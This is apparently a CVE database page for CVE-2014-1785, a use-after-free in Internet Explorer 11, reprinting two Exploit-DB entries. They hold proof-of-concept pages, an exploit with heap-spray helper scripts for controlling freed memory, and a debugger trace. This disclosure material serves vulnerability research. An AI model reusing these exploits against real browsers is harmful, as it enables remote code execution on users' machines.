CVE-2014-1785 : Detail

CVE-2014-1785

Overflow
41.32%V4
Network
2014-06-10
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2014-1769, CVE-2014-1782, CVE-2014-2753, CVE-2014-2755, CVE-2014-2760, CVE-2014-2761, CVE-2014-2772, and CVE-2014-2776.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40946

Publication date : 2016-12-19 23h00 +00:00
Author : Skylined
EDB Verified : Yes

<!-- Source: http://blog.skylined.nl/20161220001.html Synopsis A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability. Known affected software, attack vectors and potential mitigations Microsoft Internet Explorer 11 An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path. Details This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::Do­Embed­Pointers and when you execute document.exec­Command("Delete"). This memory can be freed when you execute document.open() in a DOMNode­Removed event handler. After that, you can use Javascript to reallocate the memory before it is reused. Repro.html: <!doctype html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=11"> <script type="text/javascript"> document.add­Event­Listener("DOMNode­Removed", function () { document.open(); // free // attempt to modify freed memory here // because it will be reused after this function returns. }, true); window.onload = function () { document.design­Mode="on"; document.exec­Command("Select­All"); document.exec­Command("Delete"); // allocate }; </script> </head> <body> </body> </html> Exploit After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability. Sploit.html: --> <!doctype html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=11"> <script src="c­LFHSpray.js"></script> <script src="c­Block­Spray.js"></script> <script> var aau­Copies­And­Sizes = [ [0x08, 0x80], [0x08, 0x40], [0x08, 0x20], [0x10, 0x80] ]; var u­Base­Address = 0x12340000; var ao­Block­Sprays = new Array(aau­Copies­And­Sizes.length); for (var i = 0; i < aau­Copies­And­Sizes.length; i++) { ao­Block­Sprays[i] = new c­Block­Spray(aau­Copies­And­Sizes[i][0], aau­Copies­And­Sizes[i][1]); ao­Block­Sprays[i].set­Chunk­DWord(0x0100, u­Base­Address + 0x0300); ao­Block­Sprays[i].spray(); } document.add­Event­Listener("DOMNode­Removed", function () { document.open(); var o­LFHReuse = new c­LFHSpray(10, 0x28); o­LFHReuse.set­DWord(0x10, u­Base­Address + 0x0100); o­LFHReuse.set­DWord(0x14, u­Base­Address + 0x0200); o­LFHReuse.spray(); }, true); window.onload = function () { document.design­Mode="on"; document.exec­Command("Select­All"); document.exec­Command("Delete"); document.design­Mode="off"; }; </script> </head> <body> </body> </html> <!-- ######################################################################## c­LFHSpray.js: function c­LFHSpray(u­Count, u­Size) { this.ao­Elements = new Array(u­Count); var au­Spray­Chars = new Array(u­Size - 1 >> 1); for (var i = 0; i < au­Spray­Chars.length; i++) { au­Spray­Chars[i] = ((i & 0x­FF) * 0x202 + 0x100) & 0x­FFFF; } this.set­DWord = function(u­Offset, u­Value) { this.set­Word(u­Offset, u­Value & 0x­FFFF); this.set­Word(u­Offset + 2, u­Value >>> 16); } this.set­Word = function(u­Offset, u­Value) { this.set­Byte(u­Offset, u­Value & 0x­FF); this.set­Byte(u­Offset + 1, u­Value >>> 8); } this.set­Byte = function(u­Offset, u­Value) { var u­Char­Offset = u­Offset >> 1; var u­Byte0 = (u­Offset & 1 ? au­Spray­Chars[u­Char­Offset] : u­Value) & 0x­FF; var u­Byte1 = (u­Offset & 1 ? u­Value : (au­Spray­Chars[u­Char­Offset] >> 8)) & 0x­FF; au­Spray­Chars[u­Char­Offset] = u­Byte0 + (u­Byte1 << 8); } this.spray = function() { var s­Spray­Buffer = String.from­Char­Code.apply(0, au­Spray­Chars); for (var i = 0; i < u­Count; i++) { this.ao­Elements[i] = document.create­Element("span"); // allocate 0x34 bytes this.ao­Elements[i].class­Name = s­Spray­Buffer; // allocate 0x10, u­Size and 0x40 bytes. } } } ######################################################################## c­Block­Spray.js: var c­Block­Spray = (function() { var u­Chunk­Size = 0x10000; var u­Block­Header­Size = 0x10; var u­Block­Footer­Size = 0x04; var as­Chunk­Template = new Array(u­Chunk­Size / 2); for (var u­Index = 0; u­Index < as­Chunk­Template.length; u­Index += 2) { as­Chunk­Template[u­Index] = String.from­Char­Code(u­Index); as­Chunk­Template[u­Index + 1] = String.from­Char­Code(0x­DEAD); } return function c­Block­Spray(u­Block­Count, u­Chunk­Count) { this.u­Block­Size = u­Chunk­Count * u­Chunk­Size - u­Block­Header­Size - u­Block­Footer­Size; var s­Chunk = as­Chunk­Template.join(""); var s­Block, as­Blocks = new Array(u­Block­Count); this.set­Chunk­DWord = function (u­Offset, u­Value) { this.set­Chunk­Word(u­Offset, u­Value & 0x­FFFF); this.set­Chunk­Word(u­Offset + 2, (u­Value >> 16) & 0x­FFFF); } this.set­Chunk­Word = function (u­Offset, u­Value) { if (s­Block) throw new Error("Cannot set chunk values after generating block"); if (u­Offset & 1) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be Word aligned"); if (u­Offset >= u­Chunk­Size) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be smaller than 0x" + u­Chunk­Size.to­String(16)); var u­Index = u­Offset / 2; var s­Value = String.from­Char­Code(u­Value & 0x­FFFF); s­Chunk = s­Chunk.substr(0, u­Index) + s­Value + s­Chunk.substr(u­Index + 1); } this.generate­Block = function () { if (s­Block) throw new Error("Cannot generating block twice"); s­Block = ( s­Chunk.substr(u­Block­Header­Size / 2) + new Array(u­Chunk­Count - 1).join(s­Chunk) + s­Chunk.substr(0, (u­Chunk­Size - u­Block­Footer­Size) / 2) ); } this.set­Block­DWord = function (u­Offset, u­Value) { this.set­Block­Word(u­Offset, u­Value & 0x­FFFF); this.set­Block­Word(u­Offset + 2, (u­Value >> 16) & 0x­FFFF); } this.set­Block­Word = function (u­Offset, u­Value) { if (!s­Block) this.generate­Block(); if (u­Offset & 1) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be Word aligned"); var u­Index = (u­Offset - u­Block­Header­Size) / 2; if (u­Index < 0) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be larger than 0x" + u­Block­Header­Size.to­String(16)); if (u­Index >= s­Block.length) throw new Error("u­Offset (" + u­Offset.to­String(16) + ") must be smaller than 0x" + (u­Block­Header­Size + s­Block.length * 2).to­String(16)); var s­Value = String.from­Char­Code(u­Value & 0x­FFFF); s­Block = s­Block.substr(0, u­Index) + s­Value + s­Block.substr(u­Index + 1); } this.spray = function() { if (!s­Block) this.generate­Block(); for (var i = 0; i < u­Block­Count; i++) { as­Blocks[i] = ("" + s­Block).slice(0); } } } })(); Time-line 30 December 2013: This vulnerability was submitted to ZDI. 8 January 2014: This vulnerability was acquired by ZDI. 14 January 2014: This vulnerability was disclosed to Microsoft by ZDI. 10 June 2014: This vulnerability was address by Microsoft in MS14-035. 20 December 2016: Details of this vulnerability are released. -->
Exploit Database EDB-ID : 34010

Publication date : 2014-07-07 22h00 +00:00
Author : Drozdova Liudmila
EDB Verified : No

<!-- Exploit Title: MS14-035 Internet Explorer CFormElement Use-after-free and memory corruption POC (no crash! see trace) Product: Internet Explorer Vulnerable version: 9,10 Date: 8.07.2014 Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/) Vendor Homepage: http://www.microsoft.com/ Tested on: Window 7 SP1 x86 IE 9,10 CVE : unknown --> <html> <body> <form id="form1"> <input id="input1" type="text" value=""> </form> <script> loaded = false ; function func() { if (loaded) { document.body.innerHTML = "" ; // free CFormElement } } input1 = document.getElementById("input1") ; input1.onclick = func ; loaded = true ; input1.click(); // Call DoClick function </script> </body> </html> <!-- Vulnerability details MSHTML!CInput::DoClick 66943670 8bcf mov ecx,edi 66943672 ff751c push dword ptr [ebp+1Ch] 66943675 ff7518 push dword ptr [ebp+18h] 66943678 ff7514 push dword ptr [ebp+14h] 6694367b ff7510 push dword ptr [ebp+10h] 6694367e ff750c push dword ptr [ebp+0Ch] 66943681 ff7508 push dword ptr [ebp+8] <---- esi = CFormElement 66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf) <--- call of func() in javascript, free esi 66943689 85db test ebx,ebx 6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695) 6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 ; memory corruption, write to freed memory 66943691 836668fe and dword ptr [esi+68h],0FFFFFFFEh ; memory corruption, write to freed memory MSHTML!CInput::DoClick+0x60: 66943681 ff7508 push dword ptr [ebp+8] ss:0023:023ec994=00000000 0:005> p eax=00000001 ebx=00000001 ecx=00317540 edx=66943621 esi=0034cd20 edi=00317540 eip=66943684 esp=023ec95c ebp=023ec98c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CInput::DoClick+0x63: 66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf) 0:005> dds esi l1 0034cd20 6661ead8 MSHTML!CFormElement::`vftable' 0:005> !heap -x esi <-- esi contains valid pointer to CFormElement Entry User Heap Segment Size PrevSize Unused Flags ----------------------------------------------------------------------------- 0034cd18 0034cd20 00270000 002fcee8 78 - c LFH;busy 0:005> p eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540 eip=66943689 esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 MSHTML!CInput::DoClick+0x68: 66943689 85db test ebx,ebx 0:005> dds esi l1 0034cd20 6661005c MSHTML!CSVGPathSegCurvetoCubicAbs::`vftable'+0x12c 0:005> !heap -x esi <-- esi contains freed pointer to CFormElement Entry User Heap Segment Size PrevSize Unused Flags ----------------------------------------------------------------------------- 0034cd18 0034cd20 00270000 002fcee8 78 - 0 LFH;free 0:005> p eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540 eip=6694368b esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CInput::DoClick+0x6a: 6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695) [br=0] 0:005> p eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540 eip=6694368d esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CInput::DoClick+0x6c: 6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

References

http://www.securitytracker.com/id/1030370
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/40946/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/67878
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.